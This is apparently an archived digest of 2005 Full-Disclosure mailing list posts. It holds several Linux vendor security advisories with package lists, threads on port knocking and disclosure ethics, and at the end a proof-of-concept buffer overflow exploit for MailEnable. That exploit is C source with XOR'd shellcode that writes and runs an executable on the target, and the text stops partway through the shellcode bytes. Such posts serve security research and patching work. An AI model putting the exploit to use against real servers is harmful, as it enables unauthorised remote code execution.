[Full-disclosure] [SECURITY] [DSA 847-1] New dia packages fix arbitrary code execution

[Martin Schulze]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 847-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
October 8th, 2005   http://www.debian.org/security/faq
- --

Package: dia
Vulnerability  : missing input sanitising
Problem type   : local (remote)
Debian-specific: no
CVE ID : CAN-2005-2966
BugTraq ID : 15000
Debian Bug : 330890

Joxean Koret discovered that the Python SVG import plugin in dia, a
vector-oriented diagram editor, does not properly sanitise data read
from an SVG file and is hence vulnerable to execute arbitrary Python
code.

The old stable distribution (woody) is not affected by this problem.

For the stable distribution (sarge) this problem has been fixed in
version 0.94.0-7sarge1.

For the unstable distribution (sid) this problem has been fixed in
version 0.94.0-15.

We recommend that you upgrade your dia package.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.1 alias sarge
- 

  Source archives:

http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1.dsc
  Size/MD5 checksum: 1407 e852a784e57e6ccd455b4da297ae7c36

http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1.diff.gz
  Size/MD5 checksum:15763 4704a9ac297063f937a27b669b4f9c7f
http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0.orig.tar.gz
  Size/MD5 checksum:  5241128 d2afdc10f55df29314250d98dbfd7a79

  Architecture independent components:


http://security.debian.org/pool/updates/main/d/dia/dia-common_0.94.0-7sarge1_all.deb
  Size/MD5 checksum:  2148988 a6aaf3822ae0323890b29fa9059b0185

  Alpha architecture:


http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1_alpha.deb
  Size/MD5 checksum:   222846 e2a858944403aaf7e2be0b55213494a1

http://security.debian.org/pool/updates/main/d/dia/dia-gnome_0.94.0-7sarge1_alpha.deb
  Size/MD5 checksum:   224378 49be5d481ac3b550c52422cdb1be6765

http://security.debian.org/pool/updates/main/d/dia/dia-libs_0.94.0-7sarge1_alpha.deb
  Size/MD5 checksum:   729796 3b24c04e39a7c8b416dd504f4470be15

  AMD64 architecture:


http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1_amd64.deb
  Size/MD5 checksum:   193428 5d7b0041a851b5af1cb6273368551154

http://security.debian.org/pool/updates/main/d/dia/dia-gnome_0.94.0-7sarge1_amd64.deb
  Size/MD5 checksum:   195070 2c20715651206e8aadc5d1215ae03462

http://security.debian.org/pool/updates/main/d/dia/dia-libs_0.94.0-7sarge1_amd64.deb
  Size/MD5 checksum:   659184 cd4ac2d216773979f2b03ec63976a6cb

  ARM architecture:


http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1_arm.deb
  Size/MD5 checksum:   173002 4c5d220bb555d014bd5dd5e6928f1493

http://security.debian.org/pool/updates/main/d/dia/dia-gnome_0.94.0-7sarge1_arm.deb
  Size/MD5 checksum:   174468 0c31ec33766fac82bf005c43b5f6a9ac

http://security.debian.org/pool/updates/main/d/dia/dia-libs_0.94.0-7sarge1_arm.deb
  Size/MD5 checksum:   552166 a7aa7e3699ae090ab67ad9d3195755f3

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1_i386.deb
  Size/MD5 checksum:   184330 4f69a644c2ac8f97a5a81fdf3e1146b5

http://security.debian.org/pool/updates/main/d/dia/dia-gnome_0.94.0-7sarge1_i386.deb
  Size/MD5 checksum:   185734 fc75348b11fe90abb7568c95ee3ba333

http://security.debian.org/pool/updates/main/d/dia/dia-libs_0.94.0-7sarge1_i386.deb
  Size/MD5 checksum:   591844 06e9aad469c243ac472aac861ee98ef5

  Intel IA-64 architecture:


http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1_ia64.deb
  Size/MD5 checksum:   263706 173b29cc71d5f815a251cd0054898c1e

http://security.debian.org/pool/updates/main/d/dia/dia-gnome_0.94.0-7sarge1_ia64.deb
  Size/MD5 checksum:   265022 91db1802a98dcb9c199bbe60c3c7a377

http://security.debian.org/pool/updates/main/d/dia/dia-libs_0.94.0-7sarge1_ia64.deb
  Size/MD5 checksum:   919608 0277be2023d768feb15e4b30941bc878

  HP Precision architecture:


http://security.debian.org/pool/updates/main/d/dia/dia_0.94.0-7sarge1_hppa.deb
  Size/MD5 checksum:   200672 7d122a717ef54af4dd7a96b8664ade44

http://security.debian.org/pool/updates/m

RE: [Full-disclosure] Interesting idea for a covert channel or I justdidn't research enough?

[Aditya Deshmukh]

 
> 
> I myself use this method to open up the SSH port for a particular IP
> address. When you try to open a particular URL on my website, 
> you get a 404
> because that document doesn't exist. The webserver logs this. 
> A script in
> the background sees in the log that this happened, and opens 
> up port 22 to
> the IP address which requested the non-existant URL.

Aren't these all different versions of portknocking ? All of 
them work untill someone outside can figure out the pattern of 
events - at most I would call this security by obscurity - 
Trivial to detect but good enough for some low security 
requirements


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] MailEnable W3C Logging Remote Buffer Overflow Proof of Concept

[advisory]

“We will patch you even if you want it or not ? :D”
 First and foremost, This POC was designed for use network administrators
on their own network. We never intended this to be converted into a bot
and spread. I can’t see how a bot that systematically disables its
victims would spread that well anyway. We are attempting to facilitate
the previously tedious job of patching multiple machines on a given
network. Only those with malicious intent should find annoyance in this
advisory.


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] MDKSA-2005:177 - Updated hylafax packages fix temporary file vulnerability

[Mandriva Security Team]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

Mandriva Linux Security Update Advisory
 ___

 Package name:   hylafax
 Advisory ID:MDKSA-2005:177
 Date:   October 7th, 2005

 Affected versions:  10.1, 10.2, 2006.0, Corporate 3.0,
 Corporate Server 2.1
 __

 Problem Description:

 faxcron, recvstats, and xferfaxstats in HylaFax 4.2.1 and earlier
 allows local users to overwrite arbitrary files via a symlink attack
 on temporary files. (CAN-2005-3069)
 
 In addition, HylaFax has some provisional support for Unix domain
 sockets, which is disabled in the default compile configuration. It is
 suspected that a local user could create a fake /tmp/hyla.unix socket
 and intercept fax traffic via this socket. In testing for this
 vulnerability, with  CONFIG_UNIXTRANSPORT disabled, it has been found
 that client programs  correctly exit before sending any data.
 (CAN-2005-3070)
 
 The updated packages have been patched to correct these issues.
 ___

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3069
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3070
 __

 Updated Packages:
  
 Mandrivalinux 10.1:
 f7ca9274944776e0c8a697b77cc517ea  10.1/RPMS/hylafax-4.2.0-1.3.101mdk.i586.rpm
 c49a39ddf8151f10b06b0ac70dc9c3e8  
10.1/RPMS/hylafax-client-4.2.0-1.3.101mdk.i586.rpm
 77211d2fe0790d276694b1cf3d2d855c  
10.1/RPMS/hylafax-server-4.2.0-1.3.101mdk.i586.rpm
 aaaca7a343600961e87f6c6e4ead0c8d  
10.1/RPMS/libhylafax4.2.0-4.2.0-1.3.101mdk.i586.rpm
 da5bce1b0c53e298dcd7cb5ef0dbab5d  
10.1/RPMS/libhylafax4.2.0-devel-4.2.0-1.3.101mdk.i586.rpm
 ca2bdc57603dda7f982c59626d9e2a02  10.1/SRPMS/hylafax-4.2.0-1.3.101mdk.src.rpm

 Mandrivalinux 10.1/X86_64:
 35f7d808588e1d9ad5b8de2c9e5c8cb0  
x86_64/10.1/RPMS/hylafax-4.2.0-1.3.101mdk.x86_64.rpm
 1b8a373e8d1d005b4b14124dba7b5df1  
x86_64/10.1/RPMS/hylafax-client-4.2.0-1.3.101mdk.x86_64.rpm
 5f169d7d2377d8066e2d13c771d431eb  
x86_64/10.1/RPMS/hylafax-server-4.2.0-1.3.101mdk.x86_64.rpm
 677f9360dcdfca9f86967ad4c6f738f1  
x86_64/10.1/RPMS/lib64hylafax4.2.0-4.2.0-1.3.101mdk.x86_64.rpm
 e2185b51d1d9568ccca76e37cd99e98b  
x86_64/10.1/RPMS/lib64hylafax4.2.0-devel-4.2.0-1.3.101mdk.x86_64.rpm
 ca2bdc57603dda7f982c59626d9e2a02  
x86_64/10.1/SRPMS/hylafax-4.2.0-1.3.101mdk.src.rpm

 Mandrivalinux 10.2:
 55a1638f62262ff6a156006a460ef681  10.2/RPMS/hylafax-4.2.0-3.1.102mdk.i586.rpm
 d02bb11c38379885513c742cf09212c0  
10.2/RPMS/hylafax-client-4.2.0-3.1.102mdk.i586.rpm
 d425b48947dc0bc5dc78b5512bf06fb9  
10.2/RPMS/hylafax-server-4.2.0-3.1.102mdk.i586.rpm
 0652d1bca7a8904a9443c1e88939a9ee  
10.2/RPMS/libhylafax4.2.0-4.2.0-3.1.102mdk.i586.rpm
 71f742c2355201f94130bfc0febfcfd1  
10.2/RPMS/libhylafax4.2.0-devel-4.2.0-3.1.102mdk.i586.rpm
 f8e2073acf5408bf8b55b3d22e55e2b2  10.2/SRPMS/hylafax-4.2.0-3.1.102mdk.src.rpm

 Mandrivalinux 10.2/X86_64:
 80b93124024f35ac604bca04c2157b6b  
x86_64/10.2/RPMS/hylafax-4.2.0-3.1.102mdk.x86_64.rpm
 54de1417816622492047cd95fcd192d1  
x86_64/10.2/RPMS/hylafax-client-4.2.0-3.1.102mdk.x86_64.rpm
 2682977698f5665e0bfde4f04123d817  
x86_64/10.2/RPMS/hylafax-server-4.2.0-3.1.102mdk.x86_64.rpm
 30820c2cbf827ff91e55c6c29ec795a7  
x86_64/10.2/RPMS/lib64hylafax4.2.0-4.2.0-3.1.102mdk.x86_64.rpm
 d8aae5eacf14c4f8321512e8c2696542  
x86_64/10.2/RPMS/lib64hylafax4.2.0-devel-4.2.0-3.1.102mdk.x86_64.rpm
 f8e2073acf5408bf8b55b3d22e55e2b2  
x86_64/10.2/SRPMS/hylafax-4.2.0-3.1.102mdk.src.rpm

 Mandrivalinux 2006.0:
 8e97d7f9a84998a8c067c4b6185931cc  
2006.0/RPMS/hylafax-4.2.1-2.1.20060mdk.i586.rpm
 3d61efb5c464b443ac8ed26310a9db46  
2006.0/RPMS/hylafax-client-4.2.1-2.1.20060mdk.i586.rpm
 a42170bbc1d3acebe176dc6beb286c40  
2006.0/RPMS/hylafax-server-4.2.1-2.1.20060mdk.i586.rpm
 ffca2d97b9de37c2f07af1f8b5a556bf  
2006.0/RPMS/libhylafax4.2.0-4.2.1-2.1.20060mdk.i586.rpm
 54b789ce44dffb9b22d6777d8796d264  
2006.0/RPMS/libhylafax4.2.0-devel-4.2.1-2.1.20060mdk.i586.rpm
 3d78c1a88aecbd9d6ae0a947cf2eaa29  
2006.0/SRPMS/hylafax-4.2.1-2.1.20060mdk.src.rpm

 Mandrivalinux 2006.0/X86_64:
 39a1e3bf1a63d33b424888a4a5c7faac  
x86_64/2006.0/RPMS/hylafax-4.2.1-2.1.20060mdk.x86_64.rpm
 4908c196d94d4bc72e1e79091ca7a098  
x86_64/2006.0/RPMS/hylafax-client-4.2.1-2.1.20060mdk.x86_64.rpm
 7f9ea9edf76faf3f3b917c96d8110ed5  
x86_64/2006.0/RPMS/hylafax-server-4.2.1-2.1.20060mdk.x86_64.rpm
 af2ec227f9d5b98b53c94bff68e47c50  
x86_64/2006.0/RPMS/lib64hylafax4.2.0-4.2.1-2.1.20060mdk.x86_64.rpm
 6840b4ff77f07090faa5b32620c05afe  
x86_64/2006.0/RPMS/lib64hylafax4.2.0-devel-4.2.1-2.1.20060mdk.x86_64.rpm
 3d78c1a88aecbd9d6ae0a947cf2eaa29  
x86_64/2006.0/SRPMS/hylafax-4.2.1-2.1.20060md

[Full-disclosure] MDKSA-2005:176 - Updated webmin package fixes authentication bypass vulnerability

[Mandriva Security Team]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

Mandriva Linux Security Update Advisory
 ___

 Package name:   webmin
 Advisory ID:MDKSA-2005:176
 Date:   October 7th, 2005

 Affected versions:  2006.0
 __

 Problem Description:

 Miniserv.pl in Webmin 1.220, when "full PAM conversations" is enabled,
 allows remote attackers to bypass authentication by spoofing session
 IDs via certain metacharacters (line feed or carriage return).
 
 The updated packages have been patched to correct this issues.
 ___

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3042
 __

 Updated Packages:
  
 Mandrivalinux 2006.0:
 a848ccbf6344438775ec1304879aef4d  
2006.0/RPMS/webmin-1.220-9.1.20060mdk.noarch.rpm
 bd414e303f86c49a7544a9b8bb99d4a9  
2006.0/SRPMS/webmin-1.220-9.1.20060mdk.src.rpm

 Mandrivalinux 2006.0/X86_64:
 c9aa3f93679c4aa22d0d56843315bb13  
x86_64/2006.0/RPMS/webmin-1.220-9.1.20060mdk.noarch.rpm
 bd414e303f86c49a7544a9b8bb99d4a9  
x86_64/2006.0/SRPMS/webmin-1.220-9.1.20060mdk.src.rpm
 ___

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFDRu44mqjQ0CJFipgRAq0/AKDpohB/8A32g5rFQWCa/0w807PaVwCcCLg6
u30kTpC0MGvRDwG6VyE/kSk=
=6QWG
-END PGP SIGNATURE-
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] gnome-pty-helper writes arbitrary utmp records

[Paul Szabo]

For full details please see

  http://bugs.debian.org/329156

Extracts from above:

 Paul Szabo <[EMAIL PROTECTED]>:
  gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
  DISPLAY (host) settings. ...
  ...
  I do not know any root escalation methods. ... cannot think of any
  "important" uses of utmp/wtmp files. ...

 Steve Langasek, Debian Developer:
  Hmm... After rereading the definition at
  , I guess there's no
  reason for this bug to not fall under the description of 'critical',
  since the security hole is present just from the installation of the
  package.

 Lo=EFc Minier:
  This vulnerability is identified as CAN-2005-0023.  The upstream
  developers of vte have been notified of the bug at:


 Martin Schulze (Joey):
  being able to write arbitrary strings into valid records without
  overwriting any other data in utmp/wtmp can hardly be classified
  as a security vulnerability.
  ...
  Ok, so unless somebody proves us wrong we don't consider this a
  security problem.

Cheers,

Paul Szabo   [EMAIL PROTECTED]   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of SydneyAustralia
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Websites vulnerabilities disclosure

[Stan Bubrouski]

On 10/6/05, Georgi Guninski <[EMAIL PROTECTED]> wrote:
> On Thu, Oct 06, 2005 at 09:09:32AM +0400, offtopic wrote:
> >  Which fird-party can't be user as coordinator, like CERT/CC?
>
> i recommend you don't use coordinators - they are f*ck*d parasites.
> think about what they will "coordinate" - probably selling your info.
> cert* sux.

I really agree with this.  When you're a researcher who puts the time
in to discovering, exploiting, and sometimes fixing a vulnerability,
you've done the work, why let them steal the credit?

There are times when you find holes that you report to one of these
services because you have no time or motivation to do the research
yourself.  But if you want the credit for what you've done or even
feedback then writing up your own advisory or working on one with a
vendor is a much better solution.  After all, what do these services
offer that you can't do yourself?

Best Regards,
sb


>
> --
> where do you want bill gates to go today?
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Anti-Virus in the Wild Paper

[Eric Johansen]

Hello,
 
Please find my Anti-Virus in the Wild paper (as well as the presentation slides) that I presented at the Virus Bulletin 2005 conference in Dublin, Ireland at the links below:
 
Paper -
http://files.malwareblog.com/EJohansen_VB2005.pdf
 
Presentation -
http://files.malwareblog.com/EJohansen_VB2005_Presentation.pdf
 
It primarily covers Windows XP honeypots setup with anti-virus software (13 different vendor's products) as their only protection on the Internet.  I plan to continue the research and significantly "tweak" it to add statistics and other metrics.  All comments are welcome.

 
Thank you.
 
Eric
-- Eric Johansenhttp://www.malwareblog.com/ 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Websites vulnerabilities disclosure

[TheGesus]

On 10/7/05, Fielder, Kevin (GE Consumer Finance) <[EMAIL PROTECTED]> wrote:

>
> Surely a better analogy would be...

Oh God here we go again.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

RE: [Full-disclosure] Websites vulnerabilities disclosure

[Adriel Desautels]

 
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Greets, 
If the issue impacts a single person then why does the world need to
know? In that case disclosure is pointless and damaging. If however
the issue impacts many people some of which you don't know and have
no way of contacting, then disclosure is a must as it will protect
them in the long run. Don't get the arguments mixed up. Generally
speaking, vulnerabilities almost never impact a single person, even
web application vulnerabilities.

- --> -Original Message-
- --> From: [EMAIL PROTECTED] 
- --> [mailto:[EMAIL PROTECTED] On 
- --> Behalf Of [EMAIL PROTECTED]
- --> Sent: Friday, October 07, 2005 12:43 PM
- --> To: Raghu Chinthoju
- --> Cc: full-disclosure@lists.grok.org.uk
- --> Subject: Re: [Full-disclosure] Websites vulnerabilities
disclosure 
- --> 
- --> On Fri, 07 Oct 2005 14:38:34 +0530, Raghu Chinthoju said:
- --> > I say, "... hey listen! your house entrance door latch 
- --> isn't strong 
- --> > enough.. there are only 4 screws instead 16, which is the 
- --> practice..
- --> > you have a risk of some one easily barging into your 
- --> house ...". For 
- --> > some reason you don't respond.. I publish it in the local 
- --> news paper 
- --> > that ".. Mr. X's door latch is week and any one can break 
- --> it easily 
- --> > ..." Do you think it is ethical??? I seriously think not.
- --> 
- --> The ethics change somewhat if instead of Mr. X, it's a 
- --> branch of a bank with many customers, or one of those 
- --> "You-Store-It" storage facilities, or if it's a medical 
- --> research lab that works with dangerous pathogens, or 
- --> anyplace else where it's more than just Mr. X's goods or 
- --> well-being that's endangered
- --> 
- --> 

-BEGIN PGP SIGNATURE-
Version: PGP 8.1
Comment: http://www.secnetops.com

iQA/AwUBQ0ar6ZNLRT/rHZe1EQLPOgCgvbcqJKz2WX3lpgJczOp3A0fy/QoAoMOe
sHmZy9YJ8O2FBZoVmKXs5ay+
=aj61
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [ GLSA 200510-07 ] RealPlayer, Helix Player: Format string vulnerability

[Thierry Carrez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200510-07
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: RealPlayer, Helix Player: Format string vulnerability
  Date: October 07, 2005
  Bugs: #107309
ID: 200510-07

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


RealPlayer and Helix Player are vulnerable to a format string
vulnerability resulting in the execution of arbitrary code.

Background
==

RealPlayer is a multimedia player capable of handling multiple
multimedia file formats. Helix Player is an open source media player
for Linux.

Affected packages
=

---
 Package  /  Vulnerable  /  Unaffected
---
  1  media-video/realplayer   < 10.0.6   >= 10.0.6
  2  media-video/helixplayer   < 1.0.6>= 1.0.6
---
 2 affected packages on all of their supported architectures.
---

Description
===

"c0ntex" reported that RealPlayer and Helix Player suffer from a heap
overflow.

Impact
==

By enticing a user to play a specially crafted realpix (.rp) or
realtext (.rt) file, an attacker could execute arbitrary code with the
permissions of the user running the application.

Workaround
==

There is no known workaround at this time.

Resolution
==

All RealPlayer users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=media-video/realplayer-10.0.6"

All Helix Player users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=media-video/helixplayer-1.0.6"

References
==

  [ 1 ] CAN-2005-2710
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2710

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200510-07.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0



signature.asc
Description: OpenPGP digital signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Websites vulnerabilities disclosure

[Valdis . Kletnieks]

On Fri, 07 Oct 2005 14:38:34 +0530, Raghu Chinthoju said:
> I say, "... hey listen! your house entrance door latch isn't strong
> enough.. there are only 4 screws instead 16, which is the practice..
> you have a risk of some one easily barging into your house ...". For
> some reason you don't respond.. I publish it in the local news paper
> that ".. Mr. X's door latch is week and any one can break it easily
> ..." Do you think it is ethical??? I seriously think not.

The ethics change somewhat if instead of Mr. X, it's a branch of a bank with
many customers, or one of those "You-Store-It" storage facilities, or if it's a
medical research lab that works with dangerous pathogens, or anyplace else
where it's more than just Mr. X's goods or well-being that's endangered



pgpTZfzC9CZrF.pgp
Description: PGP signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [SECURITY] [DSA 846-1] New cpio packages fix several vulnerabilities

[Martin Schulze]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 846-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
October 7th, 2005   http://www.debian.org/security/faq
- --

Package: cpio
Vulnerability  : several
Problem type   : local (remote)
Debian-specific: no
CVE ID : CAN-2005- CAN-2005-1229
Debian Bug : 306693 305372

Two vulnerabilities have been discovered in cpio, a program to manage
archives of files.  The Common Vulnerabilities and Exposures project
identifies the following problems:

CAN-2005-

Imran Ghory discovered a race condition in setting the file
permissions of files extracted from cpio archives.  A local
attacker with write access to the target directory could exploit
this to alter the permissions of arbitrary files the extracting
user has write permissions for.

CAN-2005-1229

Imran Ghory discovered that cpio does not sanitise the path of
extracted files even if the --no-absolute-filenames option was
specified.  This can be exploited to install files in arbitrary
locations where the extracting user has write permissions to.

For the old stable distribution (woody) these problems have been fixed in
version 2.4.2-39woody2.

For the stable distribution (sarge) these problems have been fixed in
version 2.5-1.3.

For the unstable distribution (sid) these problems have been fixed in
version 2.6-6.

We recommend that you upgrade your cpio package.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:

http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2.dsc
  Size/MD5 checksum:  549 15ede7cbecf63993116b4e6a6565a52a

http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2.diff.gz
  Size/MD5 checksum:23977 58175edde016c3ddb92804479697288f
http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2.orig.tar.gz
  Size/MD5 checksum:   181728 3e976db71229d52a8a135540698052df

  Alpha architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_alpha.deb
  Size/MD5 checksum:72916 8a3c436670b93fe9d6c0d7b9c6620826

  ARM architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_arm.deb
  Size/MD5 checksum:64050 96781e9c208d4629c9bad9fd489a6752

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_i386.deb
  Size/MD5 checksum:61704 c4fd8a026047cd14a9516224d8319e13

  Intel IA-64 architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_ia64.deb
  Size/MD5 checksum:84576 5d9d925c312a5a9f141949c134fd23d3

  HP Precision architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_hppa.deb
  Size/MD5 checksum:69922 219bd8e8d9de88975eca8c8df4e9ddd9

  Motorola 680x0 architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_m68k.deb
  Size/MD5 checksum:59998 b4ef64480db82238635e1c7f5b851eee

  Big endian MIPS architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_mips.deb
  Size/MD5 checksum:69160 a3f333c7b10c4f06a37de29de89844c1

  Little endian MIPS architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_mipsel.deb
  Size/MD5 checksum:68852 d704acf1b5d5c82ab024f6d45eab5686

  PowerPC architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_powerpc.deb
  Size/MD5 checksum:64284 4227c627aa48dc40cacdde9cb866322a

  IBM S/390 architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_s390.deb
  Size/MD5 checksum:64190 975304691e816ea35e5b1a1edbaca8fc

  Sun Sparc architecture:


http://security.debian.org/pool/updates/main/c/cpio/cpio_2.4.2-39woody2_sparc.deb
  Size/MD5 checksum:65916 e9fcc403a99fa3c930c9a7ede7daeef4


Debian GNU/Linux 3.1 alias sarge
- 

  Source archives:

http://security.debian.org/pool/updates/main/c/cpio/cpio_2.5-1.3.dsc
  Size/MD5 checksum:  533 ab5695c02739c74d12ceb5ccf15a2f9e
http://security.debian.org/pool/updates/main/c/cpio/cpio_

Re: [Full-disclosure] MailEnable W3C Logging Remote Buffer Overflow Proof of Concept

[user1]

[EMAIL PROTECTED] wrote:

> The buffer used provides quite a bit of room for shellcode, so I've decided
> to construct a shellcode that as far as I know hasn't been made.

I've seen this kind of thing on a blaster variant (With the notable
exeption that it was also trying to spread like any other worm).
It is a nice poc, but I don't think it has real uses. We will patch you
even if you want it or not ? :D
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] MailEnable W3C Logging Remote Buffer Overflow Proof of Concept

[advisory]

Attached is a proof of concept for the MailEnable W3C Logging
vulnerability. It features a special type of patching shellcode designed
to quickly and easily secure this vulnerability across your network.

I am releasing this in hopes that other POC writers will follow suit,
releasing exploits that patch the vulnerability rather then exploit it for
a malicious purpose. The reason this is being done is to support the admin
rather then to support the hacker./*
MailEnable W3C Logging Remote Buffer Overflow Proof of Concept

This is a pretty standard stack overflow with a SE handler overwrite.
The buffer used provides quite a bit of room for shellcode, so I've decided
to construct a shellcode that as far as I know hasn't been made. The 
shellcode provided will transport a 1008 byte win32 PE executable file. The 
shellcode
will then save it to disk, run the executable, and close the server. The 
executable will serve as a small patching tool, which will download the
patch provided by mailenable.com,unzip it, restart the service, and copy 
the patched exe. This shellcode will eliminate the very hole it used to gain
access. The old server executable will not be deleted, merely renamed to 
_MEIMAPS.exe. 

For those paranoid individuals who cannot read C code, YOUR-Address can be
anything as long as the length is the same as the real IP. If your IP is 
192.168.0.1, then 111.222.3.4 will work fine. We're only using it to 
calculate the length of the buffer for stack alignment. As you can see,
there is no call home code here :)

If you have any questions about this exploit, or how you may use it on 
your network to quickly patch your Mail Enable installations, please feel free 
to e-mail us
at [EMAIL PROTECTED]
*/

#include 
#include 
#include 

#pragma comment(lib,"ws2_32")

long gimmeip(char *hostname);
void makeSpaceTaker(char *buff, int len);
char buffer[7300];
//Simple XOR'd 2-stage shellcode
//Some parts of this shellcode were taken from vlad902's toolset.
//Saves omg.exe to disk and runs.
char patchshell[]=
"\xEB\x17\x31\xC0\x66\xB8\x02\x05\x8B\x34"
"\x24\x66\x81\x36\x1E\x17\x83\xC6\x02\x83"
"\xE8\x02\x75\xF3\xC3\xE8\xE4\xFF\xFF\xFF"
"\xE2\xFF\xFB\x17\x1E\x17\x48\x9C\x5B\x2B"
"\x95\x6B\x1B\x6F\x1F\xF8\x95\x58\x06\x9C"
"\x41\x37\x1F\xFC\xFD\x39\x57\x9C\x2A\x9C"
"\x1F\xF9\x2F\xD7\x87\xBB\x9A\xD7\x6A\x10"
